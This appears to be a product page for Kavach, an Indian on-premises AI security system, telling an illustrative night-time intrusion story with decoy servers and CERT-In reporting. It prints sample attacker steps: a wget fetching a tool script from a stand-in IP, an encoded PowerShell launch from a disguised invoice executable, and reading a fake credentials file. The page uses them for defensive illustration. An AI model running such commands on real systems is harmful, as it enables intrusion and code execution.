Neither does the payroll file on it, or the database password next to it. The person reading them at 2 a.m. is real. Kavach's own AI model spots the attack and quarantines what it touched. Then Kavach leads the attacker into convincing fakes like this one, watches every move, and drafts the CERT-In report before morning.
kavach (कवच), n. armour. the kind they can't see.
ssh root@tally-backup-02connected from 185.220.x.x
root@tally-backup-02:/srv/tally# ls -la.
-rw------- 1 root root 148 Oct 2 10:12 .db_credentials.
drwxr-x--- 9 root root 4.0K Oct 14 18:20 Company_Data/.
drwxr-x--- 4 root root 4.0K Oct 11 09:03 gst_returns/.
-rw-r----- 1 root root 61K Oct 1 11:47 payroll_2026.csv.
-rw-r----- 1 root root 4.1G Oct 16 23:40 TallyPrime_Backup_FY25-26.tbk.
drwxr-x--- 4 root root 4.0K Oct 11 09:03 gst_returns/generated this morning
-rw-r----- 1 root root 61K Oct 1 11:47 payroll_2026.csv1,208 people who don't exist
-rw-r----- 1 root root 4.1G Oct 16 23:40 TallyPrime_Backup_FY25-26.tbk4.1 GB of nothing
root@tally-backup-02:/srv/tally# cat .db_credentialstook the bait at 02:19
host=10.20.0.12 user=tally_svc pass=Tly@Backup#2026already on the watch list
root@tally-backup-02:/srv/tally# wget http://203.0.113.50/x.shtheir tool, now in quarantine
Saving to: 'x.sh' 100%[=========>] 18.42Kthis machine leads nowhere
Move over the screen to see what Kavach sees.Illustration. Every file and password above is fake.
A Thursday night in Pune
what Kavach did while everyone slept
An illustrative incident at a 400-person manufacturer, put together from common attack patterns.
A laptop in the finance team starts calling an unfamiliar server abroad, once every sixty seconds. Earlier that evening, someone in accounts opened an invoice attachment.
three separate alerts. Kavach files them as one case.
Kavach's model reads the case the way a senior analyst would. It checks what started the process, who owns that server abroad and what this laptop normally does. Then it writes down why it thinks this is real.
verdict in 34 seconds. every claim points to a log line.
It proposes two actions. Blocking the server abroad can be undone, so a rule lets it happen at once. Cutting the laptop off the network could stop someone's work, so Kavach asks first.
the AI suggests. your rules decide.
The IT head's phone shows a WhatsApp message with a three-line summary and an Approve button. One tap, and the laptop is isolated.
woken up once, for one decision
Locked out of the laptop, the attacker tries another way in. Kavach lets the attempt through to a server that looks exactly like the company's Tally backup machine. It isn't one.
everything they see from here is made for them
Fourteen commands later, the attacker has read a fake payroll file, copied a fake password and downloaded their own tools onto a machine that leads nowhere. Kavach has kept all of it: the commands, the tools, the addresses they came from.
a new detection rule, drafted from their own habits
The CERT-In incident report is drafted, with the evidence attached and fingerprinted. It's due at 08:13.
5 h 45 m to spare
The office opens. The IT head reads the draft over tea, makes two edits, and sends it.
nothing to clean up
Our own model. It reads, decides and quarantines.
trained on attacks against Indian companies
Kavach doesn't rent a general chatbot. It runs its own language model, trained on security logs, on decoy sessions and on the way attacks hit Indian companies. Here is what it read on that Thursday night, and what it locked away.
outlook.exe saved invoice_oct.pdf.exe to Downloadsa PDF that is really a program
explorer.exe started invoice_oct.pdf.exesomeone opened it
invoice_oct.pdf.exe started powershell.exe -enc JABzAD0ATgBlAHcA…hidden script, from an invoice?
powershell.exe connects to 185.220.x.x:443 every 60 scalling home on a timer
svchost.exe connects to update.microsoft.comnormal. ignored
TallySync.exe writes backup_1016.tbknightly backup. normal for this machine
kavach model reading
Model verdict · 02:13:41Attack. 94% sure.
Malicious invoice led to hidden PowerShell and a command server abroad. Four log lines cited. Two normal events ruled out.
Quarantine
invoice_oct.pdf.exeFile moved to quarantine on every laptop that has it. Fingerprint saved.
185.220.x.xBlocked at the firewall for 24 hours.
FIN-WS-07Laptop cut off the network after one-tap approval.
Trained on
Real attack patterns, our decoy sessions and incidents our analysts have labelled, including Tally and ERP attacks, UPI fraud, and phishing in Hindi and English.
Runs
On the Kavach box in your building. It works without an internet connection, and your logs never leave.
Explains
Every verdict comes with the exact log lines behind it, so your team can check the reasoning in seconds.
Quarantines
Files, IP addresses, laptops and user accounts, within the rules you set. Every action is recorded and can be undone.
Illustration. Kavach is new, and these events show how the model is designed to work.
Your turn. Log in as the attacker.
go on, look around
This is a decoy like the one in that story. Type a command, or pick one below. The red notes are what Kavach writes down while you work.
ssh root@tally-backup-02decoy · sealed off
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64)
Last login: Thu Oct 16 23:58:11 2026 from 10.20.0.31
a login banner, written for this decoy
root@tally-backup-02:/srv/tally# whoami
root
checking who they areT1033
root@tally-backup-02:/srv/tally# ls
Company_Data/ gst_returns/ payroll_2026.csv TallyPrime_Backup_FY25-26.tbk .db_credentials
looking aroundT1083
try:
Replies here are scripted so the page works offline. In Kavach, a private language model writes each reply to suit the decoy.
The same night, with other tools
red is the time they had on your real machines
One illustrative attack, and how each kind of security setup typically handles it. Real products and teams vary.
02:0003:0004:0005:0006:0007:0008:0009:0010:00
Rules-based SIEMalerts go to a queue
7 h 27 mattacker free
The alert waits in a queue of thousands. Someone opens it at 09:40.
Managed SOC servicepeople watching screens
52 mattacker free
A night-shift analyst picks it up and calls your on-call number at 03:05. The report gets written by hand in the morning.
Cloud AI SOC platformfast triage, logs leave India
34 mattacker free
Blocks the address in a minute. The attacker returns from a new one at 02:19. No CERT-In format, so your team writes the report.
Kavachin your server room
2 mattacker free
Contained at 02:15. From 02:16 to 02:58 the attacker is busy inside a decoy. Report drafted at 02:27.
attacker on your real systemsattacker inside a decoy, harmless
What security tools usually doWhat Kavach does instead
Block the attacker's address and hope they don't come back.let them into a fake server and learn their playbook
Raise an alert and leave the reporting to you.draft the CERT-In and DPDP reports, evidence attached
Use a general AI model that knows nothing about Indian attacks.use our own model, trained on them, that quarantines in seconds
Send your logs to a model in a foreign cloud.run the model in your own server room
Ship detection rules written for American enterprises.know Tally, UPI fraud and KYC phishing
Need a security team of twenty to run.need one box and your IT head's phone
Six hours is the law. Fifteen minutes is Kavach.
Since 2022, every company in India has had to report serious cyber incidents to CERT-In within six hours of noticing them, and keep 180 days of logs inside the country. Under the DPDP Act, a personal-data breach also goes to the Data Protection Board, with the full report due in 72 hours.
Kavach keeps the logs, checks that every clock is in sync, and drafts both reports the moment an incident is confirmed. A person always reviews and sends.
6 hto report to CERT-In · CERT-In Directions, 2022
180 dof logs, stored in India · CERT-In Directions, 2022
72 hfor the full breach report · DPDP Rules 2025, Rule 7